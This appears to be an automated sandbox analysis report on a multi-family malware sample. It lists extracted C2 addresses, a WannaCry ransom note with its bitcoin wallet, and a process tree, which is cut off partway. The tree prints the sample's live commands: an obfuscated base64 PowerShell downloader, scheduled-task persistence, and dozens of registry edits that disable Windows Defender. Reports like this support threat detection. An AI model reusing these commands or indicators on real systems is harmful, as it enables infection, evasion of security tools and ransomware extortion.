Resubmissions
27/09/2026, 14:21
260927-rn8hns1yhz1015/09/2026, 11:13
260915-nbjf8sgj9y13/09/2026, 12:17
260913-pfz58aba391011/09/2026, 14:17
260911-rltazathnb11/09/2026, 14:10
260911-rgr74sw1hv1007/09/2026, 14:52
260907-r8tv1sxvat06/09/2026, 18:39
260906-xarwnaysdx1006/09/2026, 18:38
260906-xadn2azgqc06/09/2026, 16:17
260906-trmfqaxgkf1006/09/2026, 16:09
260906-tl37aaxfma10Analysis
- max time kernel
606s - max time network
624s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260617-es - resource tags
- submitted
25/06/2026, 08:59
Errors
Reason
Machine shutdown
General
- Target 2to1ep.exe
- Size 13.1MB
- Sample260625-kx1e4aav21
- SHA256 65ba3988d38f83b9ee1f31cafa5bd37dc6b72279f5618aac94d71a904efa0cac
Score
10/10
Malware Config
Extracted
Family
-
metasploit
Version
-
encoder/shikata_ga_nai
Extracted
Family
-
supershell
C2
-
45.197.12.73:3232
Extracted
Family
-
valleyrat_s2
Version
-
1.0
C2
-
103.231.14.104:4333
-
103.231.14.104:4443
-
127.0.0.1:80
Attributes
-
campaign_date
1
Extracted
Family
-
quasar
Attributes
-
encryption_key
AFA3CAD4ED1D6F9700536DD60F51307FFEA2892B
-
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
-
reconnect_delay
3000
Extracted
Path
-
C:\Users\Admin\AppData\Local\Temp\a\!Please Read Me!.txt
-
wannacry
Ransom Note
- Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 15zGqZCTcys6eCjDkE3DypCjXi6QWRV6V1 Next, please find the decrypt software on your desktop, an executable file named "!WannaDecryptor!.exe". If it does not exsit, download the software from the address below. (You may need to disable your antivirus for a while.) rar password: wcry123 Run and follow the instructions! �
Wallets
-
15zGqZCTcys6eCjDkE3DypCjXi6QWRV6V1
Signatures
- Family: MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
- Family: Quasar RAT
Quasar is an open source Remote Access Tool.
- Family: Supershell
Supershell is a cross-platfrom reverse shell written in Golang.
- Family: ValleyRat
ValleyRat stage2 is a backdoor written in C++.
- Family: Wannacry
WannaCry is a ransomware cryptoworm.
- Quasar payload 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 58 IoCs
Using powershell.exe command.
- Contacts a large (727) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Downloads MZ/PE file 12 IoCs
- Indicator Removal: Network Share Connection Removal 1 TTPs 2 IoCs
Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.
- Manipulates Digital Signatures 1 TTPs 2 IoCs
Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.
- Modifies Windows Firewall 2 TTPs 9 IoCs
- Sets file to hidden 1 TTPs 2 IoCs
Modifies file attributes to stop it showing in Explorer etc.
- Signed with revoked ConnectWise certificate 2 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
- Creates new service(s) 2 TTPs
- Cryptocurrency Miner
Makes network request to known mining pool URL.
- Executes dropped EXE 4 IoCs
- Indirect Command Execution 1 TTPs 6 IoCs
Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.
- Loads dropped DLL 21 IoCs
- Modifies file permissions 1 TTPs 3 IoCs
- Stops running service(s) 4 TTPs
- Themida packer 33 IoCs
Detects Themida, an advanced Windows software protection system.
- Use of msiexec (install) with remote resource 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 64 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Hide Artifacts: Hidden Window 1 TTPs 1 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
- Looks up external IP address via web service 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Network Service Discovery 1 TTPs 2 IoCs
Attempt to gather information on host's network.
- Network Share Discovery 1 TTPs
Attempt to gather information on host network.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Power Settings 1 TTPs 17 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
- Drops file in System32 directory 1 IoCs
- Enumerates processes with tasklist 1 TTPs 3 IoCs
- UPX packed file 15 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Launches sc.exe 21 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Event Triggered Execution: Installer Packages 2 TTPs 20 IoCs
- Program crash 5 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 16 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Time Discovery 1 TTPs 2 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Inno Setup is an open-source installation builder for Windows applications. 1 IoCs
Inno Setup installer
- NSIS installer 2 IoCs
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 4 IoCs
- Discovers systems in the same network 1 TTPs 2 IoCs
- Kills process with taskkill 14 IoCs
- Modifies registry key 1 TTPs 8 IoCs
- Modifies system certificate store 2 TTPs 4 IoCs
- Runs net.exe
- Runs ping.exe 1 TTPs 5 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 19 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of FindShellTrayWindow 14 IoCs
- Suspicious use of SendNotifyMessage 14 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 6 IoCs
- cURL User-Agent 1 IoCs
Uses User-Agent string associated with cURL utility.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"2⤵
- Downloads MZ/PE file
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C start c:\Windows\System32\Taskmgr.exe3⤵
- Suspicious use of WriteProcessMemory
-
\??\c:\Windows\System32\Taskmgr.exec:\Windows\System32\Taskmgr.exe4⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\RoxanneIQ6.exeRoxanneIQ6.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\support.client.exesupport.client.exe3⤵
- Manipulates Digital Signatures
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"4⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1048 -s 7444⤵
- Program crash
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe System4.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $Wzt = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyRwcW1qb2EgPSঔৣ⇜naHR0cHM6Ly9maXJlYmFzZXN0b3JhZ2UuZ29vZ2xlYXBpcy5jb20vdjঔৣ⇜vYi9yb2RyaWFrZC04NDEzZC5hcHBzcG90LmNvbS9vL2RsbCUyRk1TQnVpbGQudHh0P2FsdD1tZWRpYSZ0b2tlbj05ODRlZTkyMS0xNjQ3LTRmZDYtYTRkZi1lZjNlOWZlYTkyN2InIDskUHhQeXQgPSঔৣ⇜oICdDOlxQcm9ncmFtRGF0YVwnICsgJ2RTdnduLnR4dCcpOyR3ZWJDbGllbnQuSGVhZGVycy5BZGQoJ1VzZXItQWdlbnQnLCঔৣ⇜nTW96aWxsYS81Ljঔৣ⇜gKFdpbmRvd3MgTlQgMTঔৣ⇜uMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgTGlrZSBHZWNrbykgQ2hyb21lLzEyMC4wLjঔৣ⇜uMCBTYWZhcmkvNTM3LjM2IEVkZy8xMjঔৣ⇜uMC4wLjঔৣ⇜nKTskcFRnZGcgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50IDskSGNYQnMgPSঔৣ⇜kcFRnZGcuRG93bmxvYWRTdHJpbmcoICRwcW1qb2EgKSঔৣ⇜7JEhjWEJzIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRQeFB5dCঔৣ⇜tRW5jb2RpbmcgJ1VURjgnIC1mb3JjZSঔৣ⇜7JFd4TkN6ID0gKCঔৣ⇜nQzpcUHJvZ3JhbURhdGFcJyঔৣ⇜rICdkU3Z3bi50eHQnKSঔৣ⇜7JFpKYnNVWCঔৣ⇜9ICdMb2FkJyঔৣ⇜7JFpTRFlHID0gJ0ludm9rZSc7JHlObFVPID0gJG51bGw7JFlXRkliID0gJyR0eEllTiঔৣ⇜9ICcndHh0LmZhbm1vZ24vbmlhbS9zZGFlaC9zZmVyL3NvdmloY3JhLXNpbS9ncGotNjI2MjYycmVsZ25lcHMvbW9jLnRuZXRub2NyZXN1YnVodGlnLndhci8vOicnICsgJydzcHQnJyঔৣ⇜rICcndGgnJyঔৣ⇜7Jyঔৣ⇜7JFlXRkliICs9ICc7JHggPSঔৣ⇜oJydDOlxQcm9ncmFtRGF0YVxkU3Z3bi50eHQnJyk7JE9nbWVnYyঔৣ⇜9IChHZXQtQ29udGVudCঔৣ⇜tUGF0aCঔৣ⇜keCঔৣ⇜tRW5jb2RpbmcgVVRGOCk7JE9nbWVnYyঔৣ⇜9ICRPZ21lZ2MucmVwbGFjZSgnJz09PT09PT09PScnLCঔৣ⇜nJ0EnJyk7Jyঔৣ⇜7JFlXRkliICs9ICdbQnl0ZVtdXSঔৣ⇜kVkxtUGUgPSBbc3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCঔৣ⇜kT2dtZWdjICkgOycgOyRZV0ZJYiঔৣ⇜rPSঔৣ⇜nW1N5c3RlbS5BcHBEb21haW5dOicgKyঔৣ⇜nOkN1cnJlbnREb21haW4uJyঔৣ⇜rICRaSmJzVVggKyঔৣ⇜nKCঔৣ⇜kVkxtUGUgKS4nIDskWVdGSWIgKz0gJ0dldFR5cGUoICcnRmpyRC5HcWdhJycgKS5HZXRNZXQnIDskWVdGSWIgKz0gJ2hvZCggJydOUkpPTVMnJyঔৣ⇜pLicgKyঔৣ⇜kWlNEWUcgKyঔৣ⇜nKCঔৣ⇜keU5sVU8gLCBbb2JqZWN0W11dICggKCঔৣ⇜kdHhJZU4gKSঔৣ⇜sICcnJXVqSkRkVSUnJyঔৣ⇜sICcnT0V6VEpDJycsICcnMDMnJywgJycxJycsICcnY2FjYScnICঔৣ⇜pICkgOycgOyRXRU1FUyঔৣ⇜9ICggJ0M6XFByb2dyYW1EYXRhXCcgKyঔৣ⇜nRHZWYnMucHMxJyঔৣ⇜pIDskWVdGSWIgfCBPdXQtRmlsZSঔৣ⇜tRmlsZVBhdGggJFdFTUVTICঔৣ⇜tZm9yY2UgO3Bvd2Vyc2hlbGwgLUV4ZWN1dGlvblBvbGljeSBCeXBhc3MgLUZpbGUgJFdFTUVTIDs=';$jXaFy = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($Wzt -replace 'ঔৣ⇜','A') ) );$jXaFy = ($jXaFy -replace '%ujJDdU%', 'C:&Users&Admin&AppData&Local&Temp&a&System4.vbs');$WxNCz = ( 'C:\ProgramData\' + 'Vy.ps1') ;$jXaFy | Out-File -FilePath $WxNCz -force ;;powershell -ExecutionPolicy Bypass -File $WxNCz;4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\ProgramData\Vy.ps15⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\ProgramData\DvVbs.ps16⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\DragonBalls76Ace.exeDragonBalls76Ace.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\Setup.exeSetup.exe3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5B16.tmp\Setup.bat""4⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist /NH5⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\find.exefind /i "iexplore.exe" temp.txt5⤵
-
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c hold.bat3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "$q=[char]34;$a='/c '+$q+$q+$env:_SelfPathRef+$q+$q+' __hidden';$i=New-Object System.Diagnostics.ProcessStartInfo('C:\Windows\System32\cmd.exe',$a);$i.WindowStyle=[System.Diagnostics.ProcessWindowStyle]::Hidden;[System.Diagnostics.Process]::Start($i)|Out-Null"4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c ""C:\Users\Admin\AppData\Local\Temp\a\hold.bat"" __hidden5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "$b=[IO.File]::ReadAllBytes('C:\Users\Admin\AppData\Local\Temp\a\hold.bat');$t=[Text.Encoding]::ASCII.GetString($b);$i=$t.LastIndexOf('---BEGIN_PS---');if($i -ge 0){[IO.File]::WriteAllBytes('C:\Users\Admin\AppData\Local\Temp\volatile_module_2110263538432.ps1',[Convert]::FromBase64String(($t.Substring($i+14)-replace'[\r\n]','')))}"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\volatile_module_2110263538432.ps1"6⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xmlfq3wk\xmlfq3wk.cmdline"7⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF473.tmp" "c:\Users\Admin\AppData\Local\Temp\xmlfq3wk\CSCF2566294F3D4BD083B3406EA2F9512A.TMP"8⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"7⤵
-
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File index.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i vmware-setup.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\kononiaZClient.exekononiaZClient.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\ThornFlash3Client.exeThornFlash3Client.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\3.exe3.exe3⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart4⤵
-
C:\Windows\System32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart5⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 04⤵
- Power Settings
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe4⤵
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"4⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\144.exe144.exe3⤵
-
C:\ProgramData\Chrome141\Chrome140.exe"C:\ProgramData\Chrome141\Chrome140.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\uBRQID\oYnfOew\1.bat"5⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "AllowFastServiceStartup" /t REG_DWORD /d "0" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableLocalAdminMerge" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableSpecialRunningModes" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d "0" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIntrusionPreventionSystem" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRawWriteNotification" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableBehaviorMonitoring" /t REG_DWORD /d "0" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableIntrusionPreventionSystem" /t REG_DWORD /d "0" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableIOAVProtection" /t REG_DWORD /d "0" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableOnAccessProtection" /t REG_DWORD /d "0" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableRealtimeMonitoring" /t REG_DWORD /d "0" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideRealtimeScanDirection" /t REG_DWORD /d "0" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f6⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable6⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable6⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable6⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable6⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable6⤵
-
-
C:\Windows\SysWOW64\reg.exereg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\MDCoreSvc" /v "Start" /t REG_DWORD /d "4" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications " /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d "0" /f6⤵
-
-
-
C:\Users\Admin\AppData\Roaming\IFh9NJYDa\1SXsHB1XPL\chrome142.exe"C:\Users\Admin\AppData\Roaming\IFh9NJYDa\1SXsHB1XPL\chrome142.exe"5⤵
-
-
C:\Users\Admin\yrRg2\zXYa5o\chrome_144.exe"C:\Users\Admin\yrRg2\zXYa5o\chrome_144.exe"5⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart6⤵
-
C:\Windows\System32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart7⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits6⤵
